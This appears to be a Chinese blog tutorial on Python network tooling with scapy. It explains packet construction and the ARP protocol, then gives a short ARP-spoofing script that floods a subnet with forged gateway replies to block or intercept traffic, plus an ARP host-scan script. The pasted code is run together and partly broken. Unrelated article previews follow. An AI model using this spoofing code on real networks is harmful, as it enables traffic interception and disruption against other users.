py网络工具编程

news/2025/3/18 10:41:59/文章来源:https://www.cnblogs.com/fr09/p/18496212

从各项网络协议开始了解 分析其用途以及攻击价值 通过py构造数据包自动化的实现攻击过程

scapy模块:

该模块非常强大 可以构造绝大部分数据包:
image
image
上图构造了一个tcp的数据包 其分片为零 协议为tcp
image
再次构造一个数据包 通过调用show()查看默认构造数据包结构
image
如何对数据包的属性值进行修改呢,其实很简单
image
在括号中传入对应的值即可

image
尝试构造一个ping的数据包

数据包发出后 ping这个变量被赋值为该数据包的回包

1 ARP协议:

用于多路访问网络的物理地址获取
典型的多路访问网络如以太网中 arp用于mac地址的获取
多点帧中继网络中的 反向arp用于dlci的获取
mgre多点接入的通用路由封装中的 nhrp用于真实ip的获取

arp数据包结构
arp请求
image

arp响应
image

类型号为0806
显然第一个请求包是已知对端的mac的 这是由于本机存在目标的arp缓存
在多路访问的网络中需要逻辑地址和硬件地址的映射 mgre在封装外层头部时会进行nhrp询问对端的真实的ip地址

在每个主机的内部会维持一个arp表项
image

arp的攻击面在于其发包方式为广播 且不进行身份认证 换言之 我可以疯狂发包 将网关的mac地址指向不存在的地址或者为本机地址 实现阻断或者监听数据包的效果:

from scapy.all import *
import socketdes_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())def arp_redirector():p1=Ether(dst="ff:ff:ff:ff:ff:ff",src=loacl_mac)/ARP(pdst=des_ip,psrc="192.168.0.1")for i in range(6000):sendp(p1)time.sleep(0.1)

或者arp不断修改请求对象的ip地址 观察有无回包实现同网段的地址扫描:

from scapy.all import *
import socketdes_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())def arp_scan():res=[]result = srp(Ether(src=loacl_mac,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=des_ip),iface='Intel(R) Wi-Fi 6E AX211 160MHz',timeout=2)ans,_=resultprint(f'主机存活情况为{len(ans)}\n')for _,i in ans:res.append([i[ARP].psrc,i[ARP].hwsrc])for ip,mac in res:print(f"ip:{ip}     mac:{mac}")

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/821907.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

半导体测试行业的相关术语

ATE = Automatic Test Equipment. 是自动化测试设的缩写,于半导体产业意指集成电路(IC)自动测试机, 用于检测集成电路功能之完整性, 为集成电路生产制造之最后流程, 以确保集成电路生产制造之品质。DUT = Device Under Test. 待测设备,半导体行业一般是电子元器件/芯片。P…

Go 实现 LRU 和 LFU

0. 前言 缓存是一个非常大的 topic。常用的缓存算法有 LRU(Latest Recently Used)最近最少使用和 LFU(Latest Frenquency Used)最不经常最少使用算法。 本文会介绍这两种算法,并且给出缓存使用的一些介绍。 1. LRU 首先,LRU 是最近最少使用算法,根据时间的顺序淘汰最久没…

高级语言程序设计第四次作业

一开始没注意题目要求写错了我的写法有点麻烦不知道能不能更简便一开始把循环条件给写错了写了好久才找出来一开始的改正的不对,而且赋值会出现错误;这题没有遇到什么问题一开始不会用getchar想了好久这下面的几题这题不知道为什么前一个数输出了一个负数,但是却不影响结果这…

windows无法访问共享电脑怎么办

当Windows无法访问共享电脑时,您可以采取以下措施:1. 检查网络连接和设置;2. 校验文件和打印机共享设置;3. 考虑网络发现设置;4. 重新配置防火墙规则;5. 检查用户帐户和权限设置。在共享过程中,确保系统和网络配置正确是至关重要的。1.检查网络连接和设置 当Windows无法…

机器视觉的主要功能分别是什么

机器视觉的主要功能包括图像采集、图像处理与分析、特征提取、物体识别与分类、三维重建、以及动作控制和决策输出。其中,特征提取是关键步骤,通常用于识别物体的不同属性,如形状、颜色或纹理。这些功能合作,使机器视觉系统能够模拟人类视觉进行信息处理,并用于各种应用场…

软件开发与测试模型

软件开发模型软件开发生命周期模型是软件产品从最初构思到退役的过程。常见的软件开发模型 大爆炸模型直接开发(有想法直接编程无计划性)。边写边改模型变对需求进行分析边对软件进行编程。 先简单的设计来回编程来回测试来回修改直至觉得足够才发布产品。 无计划与文档可以迅…

第9课—项目管理工具禅道

一、禅道的介绍 (1)定义禅道是一个项目管理工具,也是一个bug管理工具,还是一个用例管理工具。 (2)作用:为了解决众多企业在管理中出现混乱,无序的现象,开发出来 (3)来源:禅道属易软天创公司 (4 )禅道是集于产品管理,项目管理,测试管理于一身,同时包含事务管理…

求中位数应经常联想到二分

题目链接:https://codeforces.com/contest/2008/problem/H首先想了一会,随后想到了取模,但是由于这个q太大于是考虑是否可以实现动态变化最后还是没得出结果,遂看了题解。 原来这道题由于n的限制,所以可以对求出取模所对应的余数的取模区间 \([k*x,k*x+m]\),于是复杂度到…

IDEA如何配置Java环境,jdk路径

前言 我们在使用IDEA开发Java应用时,一般第一步就是需要配置好我们的jdk环境,并且在IDEA里面配置jdk的安装路径。 那么,我们应该如何配置呢? 如何配置jdk路径 首先,我们点击【File】,再点击【Project Structure】。然后,我们点击下【Project】,点击【Edit】,选择jdk的…

IAP在线升级二

一.分析JumpToApp函数点击查看代码 void JumpToApp(uint32_t addr) { __disable_irq();//这个函数调用会禁用中断。在跳转到新的应用程序之前,通常需要确保当前的中断状态不会干扰跳转过程。uint32_t sp = *((volatile uint32_t *)(addr));//从addr指定的地址读取栈指针(Stac…

动态语言有哪些

在开头段落,请允许我一句言归正传地回答这个问题:动态语言主要有Python、JavaScript、Ruby、Perl、PHP和Groovy等。这类语言的主要特点是它们在运行期间能够改变其结构,如新的函数、对象、甚至代码可以被引入,已有的函数可以被删除或其他结构上的改变。这使得动态语言在写代…

C堆和栈的区别有哪些

在C编程中,堆和栈是两个重要的内存管理概念,它们在:1.分配方式;2.生命周期;3.内存管理;4.访问速度;5.使用场景等方面有明显的区别。本文将深入探讨C堆和栈之间的区别,以帮助程序员更好地理解如何使用它们。1.分配方式 堆:堆是动态分配的内存区域,程序员可以在运行时请…